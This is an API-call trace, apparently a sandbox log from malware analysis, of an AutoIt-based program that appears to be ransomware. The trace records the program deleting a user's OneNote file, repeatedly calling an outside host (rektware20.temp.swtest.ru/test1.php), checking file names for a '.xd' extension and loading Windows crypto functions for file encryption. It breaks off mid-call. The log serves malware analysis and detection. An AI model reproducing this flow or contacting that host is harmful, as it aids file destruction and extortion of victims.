PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.364] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.364] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.364] CloseHandle (hObject=0x3bc) returned 1 [0072.365] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.365] CloseHandle (hObject=0x2ac) returned 1 [0072.373] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.376] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.377] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", lpFilePart=0x0) returned 0x4d [0072.377] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one")) returned 0x20 [0072.377] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7b0 [0072.377] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one")) returned 1 [0072.381] FindNextFileW (in: hFindFile=0x164c7b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0072.381] FindClose (in: hFindFile=0x164c7b0 | out: hFindFile=0x164c7b0) returned 1 [0072.382] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.382] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.382] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.382] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.382] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0072.382] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0072.382] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.382] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0072.382] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.383] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0072.383] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0072.383] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c) returned 1 [0072.383] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.383] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.383] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.387] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0072.387] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0072.387] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0072.387] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0072.387] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0072.387] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.393] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.393] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.393] CloseHandle (hObject=0x0) returned 0 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="My Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Shapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hapes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="apes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pes\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.396] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.396] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0072.396] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.396] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0072.396] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0072.396] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.396] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0072.396] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0072.396] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c) returned 1 [0072.396] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.396] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.396] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.397] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0072.398] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0072.398] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0072.398] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0072.398] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0072.398] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.399] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.399] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.399] CloseHandle (hObject=0x0) returned 0 [0072.399] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.399] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0072.399] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0072.399] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.400] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.400] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.400] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.400] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.400] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.400] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0072.401] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.401] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.401] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0072.401] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.401] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.401] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.401] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.401] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.401] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0072.401] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0072.402] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0072.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0072.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0072.402] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0072.402] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aaa28) returned 1 [0072.403] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.403] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.403] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0072.404] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.404] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.404] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.404] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.404] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.404] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.404] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.404] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.404] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.404] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0072.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.404] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.405] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.405] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.405] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.405] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.405] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 